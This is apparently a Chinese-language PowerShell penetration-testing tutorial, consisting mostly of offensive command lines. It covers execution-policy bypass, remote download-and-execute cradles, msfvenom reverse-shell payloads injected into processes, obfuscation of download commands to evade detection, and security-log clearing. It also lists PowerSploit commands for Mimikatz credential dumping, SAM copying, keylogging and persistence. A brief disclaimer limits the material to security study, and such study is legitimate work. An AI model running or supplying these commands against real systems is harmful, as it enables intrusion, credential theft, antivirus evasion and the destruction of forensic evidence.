PowerShell渗透指南

本文研究Powershell攻击技术及利用框架渗透指南..

本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…

0x01 基础介绍

cmdlet查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1)Get-Verb:返回大多数命令遵循的谓词的列表。响应包括有关这些谓词的功能的说明。

2)Get-Command:检索计算机上安装的所有命令的列表。

a. 使用不同的参数筛选 Get-Command 的输出:Get-Command -Name '*Process' //除了 -Name 之外,还可以根据 -ParameterName 和 -Type 之类的内容进行筛选

b. 根据名词和谓词进行筛选:Get-Command -Verb 'Get' //指定 -Verb 作为参数,列出谓词部分为 Get 的所有命令

c. 根据名词进行筛选:Get-Command -Noun U* //指定 -Noun 作为参数和字符串参数

d. 谓词/名词组合使用:Get-Command -Verb Get -Noun U*

e. Select-Object:帮助你从一个或多个对象中选取特定属性,如:Get-Command | Select-Object -First 3 //获取从顶部往下数的前3个命令

f. Where-Object:帮助你根据属性值从集合中选择对象,如:Get-Process | Where-Object {$_.ProcessName -like "p*"} //查找ProcessName 以 p 开头的所有 process 对象

3)Get-Member:它在基于对象的输出上运行,并且能够发现可用于命令的对象、属性和方法。

Get-Process | Get-Member //结果显示返回的类型(以 TypeName 形式)以及对象的所有属性和方法

Get-Process | Get-Member -MemberType Method //使用 -MemberType 参数,可以指定要查看所有方法

Get-Process | Get-Member | Select-Object Name, Definition //使用 Select-Object,可以指定要查看哪些列

4)Get-Help:以命令名称为参数调用此命令,将显示一个帮助页面,其中说明了命令的各个部分。

执行策略

PowerShell 执行策略是一项安全功能,用于控制 PowerShell 加载配置文件和运行脚本的条件

名称 说明
AllSigned AllSigned 执行策略允许执行所有具有数字签名的脚本,运行已签名但恶意脚本存在风险
Restricted Windows 客户端计算机的默认执行策略;受限制的,可以执行单个命令,但是不能执行脚本;绕过限制:Set-ExecutionPolicy -ExecutionPolicy Bypass
RemoteSigned Windows 服务器计算机的默认执行策略;当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行;不需要对在本地计算机上编写的脚本进行数字签名
Unrestricted 非 Windows 计算机的默认执行策略,无法更改;允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示
Bypass Bypass 执行策略不阻止任何操作,并且没有任何警告或提示
Undefined Undefined 表示当前范围内没有设置执行策略。如果所有范围内的执行策略为 Undefined,会应用默认的脚本策略。
Default 设置默认执行策略,Restricted 适用于 Windows 客户端,RemoteSigned适用于 Windows 服务器。

绕过安全策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1)获取当前执行策略

Get-ExecutionPolicy

2) 设置Bypass策略

Set-ExecutionPolicy -ExecutionPolicy Bypass

3)通过管道输入进入ps

Get-Content .\test.ps1 | powershell.exe -noprofile -

4)通过远程下载脚本来绕过

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.169.10.1/test.ps1')"

5)通过BASE64编码执行

$command = "Write-Host 'Hello World!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

通过CMD执行powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PowerShell[.exe]
[-PSConsoleFile <file> | -Version <version>]
[-EncodedCommand <Base64EncodedCommand>]
[-ExecutionPolicy <ExecutionPolicy>]
[-File <filePath> <args>]
[-InputFormat {Text | XML}]
[-NoExit]
[-NoLogo]
[-NonInteractive]
[-NoProfile]
[-OutputFormat {Text | XML}]
[-Sta]
[-WindowStyle <style>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]

PowerShell[.exe] -Help | -? | /?


-Command # 需要执行的代码
-ExecutionPolicy # 设置默认的执行策略,一般使用Bypass
-EncodedCommand # 执行Base64代码
-File # 需要执行的脚本名
-NoExit # 执行完成命令之后不会立即退出,运行完之后还会继续停留在PS的界面
-NoLogo # 不输出PS的Banner信息
-Noninteractive # 不开启交互式的会话
-NoProfile # 不使用当前用户使用的配置文件
-Sta # 以单线程模式启动ps
-Version # 设置用什么版本去执行代码
-WindowStyle # 设置Powershell的执行窗口,有如下参数Normal, Minimized, Maximized, or Hidden

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
1) 版本/执行策略查看

$PSVersionTable # 查看版本
Get-ExecutionPolicy #检查当前执行策略
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned # 将PowerShell 执行策略更改为远程签名

2)开启PS远程访问

# Enable psremoting
Enable-PSRemoting

# Add remote host to trusted hosts:
Set-Item wsman:\localhost\client\trustedhosts 10.0.0.2
Test-WsMan 10.0.0.2 # test connection to remote host

# Check current remote session's permissions
Get-PSSessionConfiguration | Format-Table -Property Name, Permission -Auto
Set-PSSessionConfiguration -Name Microsoft.ServerManager -AccessMode Remote -Force

# Open remote session
Enter-PSSession -ComputerName 10.0.0.2 -Credential Domain\Username -Authentication Default
$SS = New-PSSession -ComputerName 10.0.0.2 -Credential Domain\Username -Authentication Default
Get-PSSession Remove-PSSession
Invoke-Command -Session $SS -ScriptBlock {Get-Culture}
Enter/New-PSSession -SkipCACheck -SkipCNCheck -UseSSL

# Disable remoting in powershell
Disable-PSRemoting
Stop-Service winrm
Set-Service -Name winrm -StartupType Disabled

3)创建 BITS 传输作业

# Import-Module BitsTransfer
Start-BitsTransfer -Priority Foreground -Source "https://nmap.org/ncrack/dist/*.tar.gz" -Destination "C:\temp\"

$Cred = Get-Credential
Start-BitsTransfer -Authentication ntlm -Credential $Cred -Priority Foreground -Source "\\192.168.1.51\a\test.txt" -Destination "C:\temp\test.txt"

4)获取补丁

get-hotfix | out-gridview

5)安全描述符SDDL操作

$sddl = "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;SO)(A;;CCLCSWRPLORC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;LS)(A;;CCLCSWRPWPDTLOCRRC;;;NS)"
$ACLObject = New-Object -TypeName System.Security.AccessControl.DirectorySecurity
$ACLObject.SetSecurityDescriptorSddlForm($sddl)
$ACLObject.Access

6)创建凭据

# get credentials interactive
$creds = Get-Credential

# non-interactive
$secpasswd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("username", $secpasswd)

7)开启/关闭RDP

RDP开启:powershell.exe -w hidden -nop -c "reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f; if($?) {$null = netsh firewall set service type = remotedesktop mod = enable;$null = reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"

RDP关闭: powershell.exe -w hidden -nop -c "reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f; if ($?) { $null = reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"

0x02 进阶技术

1. WMI技术

常用类

1
2
3
4
5
6
7
8
9
10
主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem
文件/目录列举: CIM_DataFile
磁盘卷列举: Win32_Volume
注册表操作: StdRegProv
运行进程: Win32_Process
服务列举: Win32_Service
事件日志: Win32_NtLogEvent
登录账户: Win32_LoggedOnUser
共享: Win32_Share
已安装补丁: Win32_QuickFixEngineering

powershell-wmi

1
2
3
4
5
6
7
Get-WmiObject -Query "select * from win32_service where name='WinRM'"

Get-WmiObject -Class Win32_Process | Where-Object {$_.name -like "*explorer*"}

Get-Wmiobject -query "select * from win32_service where name='WinRM'" -computername server01, server02

Get-WmiObject -Class Win32_QuickFixEngineering

WMI触发器

1
2
3
4
5
6
7
8
9
事件触发条件

1) 事件筛选器:描述事件并且执行WQL事件查询。

2)事件消费者:事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。常用的消费类有下面两个:
a. ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload
b. CommandLineEventConsumer - 执行一个命令行程序

3)消费者绑定筛选器:将筛选器绑定到消费者的注册机制。

2. 注入技术

DLL注入

DLL注入就是将代码插入/注入到正在运行的进程中的过程,注入的代码是动态链接库(DLL)的形式。因为DLL(如UNIX中的共享库)是在运行时根据需要来进行加载,实际上还可以使用其他各种形式(任何PE文件、shellcode/assembly等)来”注入”代码

Bypass UAC

1
2
3
4
5
6
1) 使用wusa.exe

2) Dll劫持

3) IFileOperation-COM对象
推荐注入explorer.exe这样的进程,只要操作系统在运行,这个进程能稳定的让我们注入

Powershell-DLL注入

Powersploit中的Invoke-DllInjection已经完成对于DLL注入的利用,利用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1) 利用IEX下载脚本

IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1")

2) 使用MSF生成恶意DLL

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.168.1 LPORT=8080 -f dll -o test.dll

3) 通过Ps加载DLL完成利用

查看一个我们当前用户能注入的进程,在这里选用explorer进程来进行注入

Get-Process -name "explorer" | Select-Object Id

Invoke-DllInjection -ProcessID 3628 -DLL .\test.dll

Powershell-ShellCode注入

使用powersploit代码:Invoke-Shellcode 进行shellcode注入,利用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1) 利用IEX下载脚本

IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")

2) 使用MSF生成恶意代码

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.168.1 LPORT=8080 -f powershell -o test

通过Web下载的方式来导入shellcode

IEX(New-Object Net.WebClient).DownloadString("http://192.168.168.1/test")

3) 通过Ps加载shellcode完成利用

Invoke-Shellcode -Shellcode ($buf) # 注入到当前powershell进程

Invoke-Shellcode -Shellcode ($buf) -ProcessID 2366 # 注入到指定进程(需判断是否有权限)

Powershell-EXE注入

使用脚本Invoke-ReflectivePEInjection直接注入EXE文件,注入步骤:

1
2
3
4
5
6
7
8
1) 生成msf木马

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 LHOST=192.168.168.1 LPORT=2333 -f exe -o ~/shell.exe

2) 通过下面的注入

$PEBytes = [IO.File]::ReadAllBytes('.\Desktop\powershell\shell.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

3. 混淆技术

远程下载代码脚本执行

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.0.1/powershell")

混淆方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1) 去掉System关键字 

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.0.1/powershell")

2) 使用字符串连接+号连接

Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://192.168.0.1/powershell")

3) 使用Invoke方法

Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://192.168.0.1/powershell') $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://192.168.0.1/powershell')

4) 变量替代

IEX $test=New-Object Net.WebClient;$test.DownloadString('h'+'ttp://192.168.0.1/powershell')

5) 关键字+单双引号

Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://192.168.0.1/powershell')

6) 转义符号

Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://7ell.me/power')

7) 字符串反转

$re= ")'1/1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($re[-1..-($re.Length)] -Join '') | IEX

8) 编码执行

$command = "Write-Host ‘Hello World!’"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

9) 替代IEX

Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。可代替IEX的各种执行方式

a. &(GAL I*X) : 通过别名的方式来进行编码
b. Command I*e-E* : 通过command的方式来进行编码
c. $ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')使用环境变量等等

tools: https://github.com/danielbohannon/Invoke-Obfuscation

4. 日志操作

CmdLet命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Clear-EventLog

Get-EventLog

Get-WinEvent

Limit-EventLog

New-EventLog

Remove-EventLog

Show-EventLog

Write-EventLog

日志查看

1
2
3
4
5
6
7
8
9
10
11
列出事件日志列表: Get-Eventlog -List

查看security日志: Get-Eventlog -LogName security

列出最近日志: Get-EventLog -LogName security -Newest 5

列出指定时间段内的日志: Get-EventLog -LogName security -After 2020-11-10 -Before 2020-11-15

根据事件ID列出日志: Get-EventLog -LogName security -InstanceId 4624

获取某一条事件日志: Get-EventLog -LogName system -Index 12324

日志清除

1
2
3
4
5
6
7
8
9
10
11
1)Remove-Eventlog:注销事件源

Remove-EventLog -LogName security # 仅注销事件源,不删除日志

Remove-EventLog -Source app # 注销事件源,app将无法写入事件日志

2)Clear-Eventlog:清除日志

Clear-Eventlog -LogName security # 清除安全相关日志

Clear-Eventlog -LogName security -computername localhost, Server02 # 直接远程删除日志

0x03 利用框架

1. PowerSploit

Find-AVSignature

寻找反病毒软件特征码,思路类似于二分法

1
2
3
4
5
# 假设远控文件偏移范围为0~10000
Find-AVSignature -StartByte 0 -EndByte 10000 -Interval 5000 -Path test.exe

# 重复步骤
Find-AVSignature -StartByte 5001 -EndByte 10000 -Interval 2500 -Path test.exe

refer: http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html

CodeExecution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
1) Invoke-DLLInjection

DLL注入脚本,dll架构要与目标进程相符,同时要具备相应的权限

Invoke-DLLInjection -ProcessID 2366 -dll test.dll

2)Invoke-ReflectivePEInjection

反射型注入,能做到不在目标磁盘上留下文件

Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 2326 # 下载dll并注入到id为2326的进程中

Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 2326 -ForceASLR # 强制使用ASLR

Invoke-ReflectivePEInjection -PEPath test.dll # 从本地加载dll并注入指定进程

Invoke-ReflectivePEInjection -PEPath test.dll # 向exe传参

3)Invoke-Shellcode

向目标进程注入shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.1 lport=6666 -f powershell # 生成shellcode

Invoke-Shellcode -Shellcode @($buf) -Force # 注入shellcode

4)Invoke-WmiCommand

在目标主机使用wmi执行命令

$username = "test\Administrator"
$password = echo "123456" | ConvertTo-SecureString -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential $username,$password

Invoke-Wmicommand -Payload { 1 + 1 } -ComputerName '192.168.10.1' -Credential $Credentials

Exfiltration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Get-GPPAutologon

Get-GPPPassword

Get-Keystrokes -LogPath .\keylog.txt # 键盘记录

Get-MicrophoneAudio -Path .\audio.wav -Length 10 # 通过麦克风记录声音

Get-TimedScreenshot -Path .\screenshot\ -Interval 10 -EndTime 18:00 # 屏幕记录

Get-VaultCredential # 从凭证管理器中获取凭证

Invoke-CredentialInjection -UserName test -Password 123456 -NewWinLogon

Invoke-Mimikatz -DumpCreds

invoke-mimikatz -Command "Privilege::Debug Sekurlsa::logonpasswords" # 执行mimikaz命令

Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM.hive # 某些文件被其他进程占用导致不能复制时时使用,如dump SAM文件

Invoke-TokenManipulation -Enumerate # 枚举唯一可用的令牌

Invoke-TokenManipulation -ShowAll # 枚举所有的令牌

Invoke-TokenManipulation -CreateProcess "calc.exe" -Username "NT AUTHORITY\SYSTEM" # 使用SYSTEM用户的令牌创建一个进程

Invoke-TokenManipulation -CreateProcess "calc.exe" -ProcessId "2366" # 通过ID来指定一个Token

Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" # 使用当前的线程令牌模仿SYSTEM用户

Out-Minidump -Process (Get-Process -Id 2345) -DumpFilePath .\ # dump指定进程完整的内存镜像

Get-VolumeShadowCopy # 列出所有卷影拷贝的路径,需要管理员权限

New-VolumeShadowCopy -Volume C:\ # 新建卷影拷贝

Mount-VolumeShadowCopy -Path C:\Users\admin -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # 挂载卷影拷贝

Remove-VolumeShadowCopy -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # 删除卷影拷贝

Persistence

存放位置:放在%Systemroot%/System32\WindowsPowerShell\v1.0\Modules$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules

1
2
3
$ElevatedOptions = New-ElevatedPersistenceOption  -PermanentWMI -Daily -At '2 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions

Privesc

Get-System

1
2
3
get-system -Technique namedpipe/token  # 选择方式

Get-System -RevToSelf # 恢复令牌

Recon

1
2
3
4
5
6
7
8
9
10
11
Get-ComputerDetails  #获取计算机信息

Get-HttpStatus -Target www.example.com -Path C:\dic.txt -UseSSL # 扫目录脚本

Invoke-Portscan -Hosts 192.168.1,1 -Ports "135,139,445,1" -Threads 50 # 扫描192.168.1.1/24的135,139,445端口

Invoke-Portscan -Hosts 192.168.1.1 -TopPorts 50 -Threads 50 # 扫描Top50的端口

Invoke-Portscan -Hosts 192.168.169.168 -Ports 445 -SkipDiscovery # 扫描前不ping目标主机

Invoke-ReverseDnsLookup -IpRange 192.168.1.1-192.168.1.254 # ip反查主机名

ScriptModification

1
2
3
4
5
6
7
8
9
Out-CompressedDll -FilePath test.dll   # 将dll压缩并base64编码

Out-EncodedCommand -ScriptBlock {write-host 'whoami'} # 脚本块编码

Out-EncodedCommand -Path .\1.ps1 -WindowStyle Hidden # 脚本编码

Out-EncryptedScript -ScriptPath .\1.ps1 -Password fuck -Salt 123 -FilePath .\encrypt.ps1 # 脚本加密

Remove-Comments -ScriptBlock { whoami } # 删除空白符

0xFF Reference